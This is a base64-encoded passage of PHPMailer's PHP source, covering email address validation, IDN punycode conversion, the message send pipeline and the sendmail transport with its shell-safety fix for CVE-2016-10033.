zAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1